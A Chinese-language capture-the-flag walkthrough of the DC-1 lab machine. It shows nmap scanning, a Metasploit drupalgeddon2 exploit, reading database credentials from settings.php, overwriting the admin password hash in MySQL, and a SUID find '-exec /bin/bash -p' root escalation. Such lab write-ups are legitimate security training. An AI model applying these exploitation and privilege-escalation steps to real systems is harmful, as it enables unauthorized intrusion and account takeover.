先确保dc-1与kali处于同一网段下这里我将kali与dc-1都设置为nat模式查看kali的ip信息并使用nmap扫描网段内的主机这里的192.168.207.133就是dc-1的ip对该ip扫描一下端口看看开放了什么服务有http和ssh我们先看看网页浏览器搜192.168.207.133是一个登录界面通过浏览器的Wappalyzer插件查看到是Drupal框架我们可以去搜该框架的漏洞来利用打开msfconsolesearch Drupal我们选用exploit/unix/webapp/drupal_drupalgeddon2 2018-03-282018年的比较新use 1show optionsoptions里第三列的值为yes的是我们要设置的这里就RHOST还没有设置set RHOST 目标ipset RHOST 192.168.207.133exploit漏洞利用成功我们进入shell让界面好看一点我们用python -c import pty;pty.spawn(/bin/bash)命令来在已经获得命令执行权限的 Linux 环境中启动一个交互式TTYShellpython调用 Python 解释器-c执行后面引号中的 Python 代码import pty导入 Python 的 pty模块pty伪终端pty.spawn(/bin/bash)创建一个新的程序并把它绑定到当前终端shellpython -c import pty;pty.spawn(/bin/bash)这里直接就看到flag1.txt我们查看一下内容cat flag1.txtFlag1.txtEvery good CMS needs a config file - and so do you.每一个优秀的 CMS内容管理系统都需要一个配置文件——你也一样提示我们去看配置文件也就是让我们去找类似config.phpconfiguration.phpwp-config.phpsettings.php.envconfig.inc.php的文件这里有includes、misc、modules、profiles、scripts、sites和themes可以打开我们去里面找一下在sites里的default里找到了settings.php查看一下cat settings.php这里得到了flag2和数据库账号密码flag2Brute force and dictionary attacks arent theonly ways to gain access (and you WILL need access).What can you do with these credentials?暴力破解和字典攻击并不是获得访问权限的唯一方法而且你最终一定需要获得访问权限。拿到这些凭据用户名和密码后你还能做些什么这里是提示我们进入网页的方式大概是不能使用暴力和字典破解我们要换一种方式思考利用数据库的账户能有啥用那我们先用账号密码进入数据库看看mysql -udbuser -pR0ck3tshow databases;查看一下数据库use drupaldb;show tables;查看表我们看一下users看看有什么账号我们不能破解那么看看能不能修改账号密码进入因为我们已经有了数据库账号select * from users\G;\GMySQL 客户端的结束符用于竖排显示结果正常是横向的如果账号过多终端就不能显示全有admin和Fred两个账号这里的密码是经过hash加密的我们要修改密码的话就要让密码经过相应的hash加密算法加密后才能使用那么我们现在就需要去找这个hash加密算法scripts一般存放的是一些脚本hash加密算法也是一种脚本大概率会存放在scripts里我们去看看exitcd /scriptscat password-hash.sh这里直接给出一个使用用例./password-hash.sh 密码./password-hash.sh 123同时这里告诉我们需要导入密码加密函数和 Drupal 运行环境所以我们要在路径includes的上一级也就是www里执行./scripts/password-hash.sh 123复制hash。进入数据库use drupaldb;update users set pass$S$D42anE1jdnFleROrb1WHYYBT15lRNiAomUUFdRH8Bt9Fw6CQKt0b where nameadmin;我们去网页里输入admin 123看看能否进入成功进入到处点一点发现content里有flag3flag3Special PERMS will help FIND the passwd - but youll need to -exec that command to work out how to get whats in the shadow.特殊权限SUID 等可以帮助你找到 passwd但你还需要利用 find 命令的 -exec 选项执行相应的命令才能想办法获取 shadow 文件中的内容这提示我们不要去找web漏洞去枚举suid如果我们在suid里找到find那么就利用exec去读取root那么我们先去看看passwdcat /etc/passwd看到flag4路径是/home/flag4cd /home/flag4Flag4.txtCan you use this same method to find or access the flag in root?Probably. But perhaps its not that easy. Or maybe it is?能不能用刚才相同的方法获取 root 用户目录里的 flag 呢很有可能可以。但事情也许没有那么简单。或者也许就是这么简单。我们去查看一下root缺少权限现在我们就可以用flag3中的方法了find / -perm -us -type f 2/dev/nullfind查找/从 Linux 根目录开始查找-perm -us所有拥有 SUID 权限的程序-type f只找普通文件因为只有程序文件才可能具有 SUID2/dev/null2错误输出 写入 /dev/null黑洞文件写进去什么都会消失总结从整个系统开始搜索只找普通文件把所有带 SUID 权限的程序列出来并忽略所有权限不足导致的错误信息这里面有/usr/bin/findls -l /usr/bin/findls -l ls列出目录中的文件和文件夹List-l使用长格式long format显示详细信息-rwsr-xr-x-普通文件d是目录l是软链接rwsr表示可读w表示可写s表示SUID可执行r-x可读不可写可执行r-x可读不可写可执行所以find是root的文件那可以借助 exec 让 /bin/bash 来继承find在执行过程中的权限在系统的不同位置执行具有特权的 bash shellfind / -exec /bin/bash -p \;-exec对 find 找到的每一个文件执行指定的命令/bin/bash执行 Bash-p让 Bash 尽可能保留preserve当前进程的有效权限effective UID/GID\;”;”是-exec的结束符但是在shell中”;”是一条命令的结束那么需要添加反斜杠\来转义cd rootls看到thefinalflag.txtcat thefinalflag.txtThefinalflag.txtWell done!!!!Hopefully youve enjoyed this and learned some new skills.You can let me know what you thought of this little journeyby contacting me via Twitter - DCAU7渗透测试顺利结束